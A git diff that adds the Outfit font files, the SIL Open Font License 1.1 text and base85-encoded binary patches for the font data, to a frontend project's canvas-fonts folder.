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 V1n7&>>j{U8(d`#KD7<su{{fKIndkrj literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/Outfit-OFL.txt b/skills/frontend-dev/canvas-fonts/Outfit-OFL.txt new file mode 100644 index 0000000..fd0cb99 --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/Outfit-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2021 The Outfit Project Authors (https://github.com/Outfitio/Outfit-Fonts) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/Outfit-Regular.ttf b/skills/frontend-dev/canvas-fonts/Outfit-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..3939ab246e0736f7283a571a458db274088ed7b6 GIT binary patch literal 54912 zcmcef30##`9{10AE?gE7!3A&$Q3Tvr6>z}?#9h;IK{G>9F;_6eHP>7-cT>}8m^K@y zW?GyOGd0S|8pEcAEX@%TP%<Pi2y61*_j}HBSu~qz-uLr)<?}uFx#yneJm>t+@BGj5 zJohT35W<VVNr=IT0|$*?uxP3fMn@s!@xh}<jh*x0V-ti38Y0B~D+Z4ppD^H%-wIBc zEQE9SQDeiSG7{4^koE&|nL2h{{J5pN=lzTK<RQYQ&rew}?7fvqLb$Zy0wW$yS-60B zFFtS1tLww_mdzaS-1%rB7XDp`X(wi-rp)N{;iPar-^u4OvxxA1yzxZd$ML?ytofNs z7hM_js1Pmq+&XVw`t+0y30Z#-!cq)9=BF%OApa&Ur004fAT4En>f^(5TME%=7T3SI zAbnxx=M$!ozV**SxD8*Bk-A`(b*n1B2kBjoN&AM^oVM{+NV{D$;Z?}ri#LR)7%8mk zU4wrXm5QsD+Q`dus(p=Zs;B>5Y1G*&m8*_#uERFMSn}|!OsR4+1Z5>ORDF#TI(HQ> zTOR!Dq8aO_G>NMg7E7s$zw}j!O}!TO^6kvEUh(v|T;i>jv(0}_MqhGqCZ8<^78AqG zSD7rL<b94bwJ&$nWM)Rn!y;ES{<mS)#ZoHKf-b9&Ul~U^4iIj<H$(-;o_zG2Xd^tt zMe(UP3!jRY#8NRx^c688Oazlo@=sY*qADo|IbJ6^UWYkeCt;T`(U~*a3xCl{_=u)7 zM2wK`uL|kbQAn3(g|xO7(&<SdEse=((>>34U&uyboUxZPe&&oBobe%NL~+IeEYe2! ziRP%zgU{FSIpuQVRmnv1s>?XQ@v2%-m3ch1xR2vT;3?V?wi6u)Lqs@Xq=+T#DFzdc z5aS4w#5BSgViw^XkwLgvtR-A0HW6+W)IjVL2MC`QFA%;c{z~|&c#H6)I7Rp_wv-}I zd`WmwTqZ0OHwmjmHDL`+W?I#d56TBQo+76Zu9RzqMXr-uQIggp7E*dr@q+lrl_K~T zDEf$@V!T)(HdB^o#9zcQ@pthtr}UEZ<uduEd{2HN|80aCGmO1Pw(*WpZv14iTAEt? zEuAefmeH2YmM1OGSpH%;W4UJe-ePxZ<mBrV=oIeM+i8^3B&TIgPdYv0bj0bD(^;qU zP8H5goWq=ZInQ*?a9-uS#ra+5kDM<$Uv<7|?O{!{Zm{mMUUBhoiFR4y@}kQTmvWb% zTw`4axNdVj;CjgQ-)>FZBHZHKrn=2@Tk5vnZKvDQZvS-q%I%ul_wKIl9o@UT_je!R zKGA)p`$6{?-H*7RazE?-jeB*Yc8x+CjcT;M(H|Rq)#zHIn;yMA26_C>;~|e(9+@6% zJf85_@9}wKr^a55M>L+$czWY!8y7dO@Qn6M^IYzk>-nMQdCx1J<(@w_ac<J7$&x0I 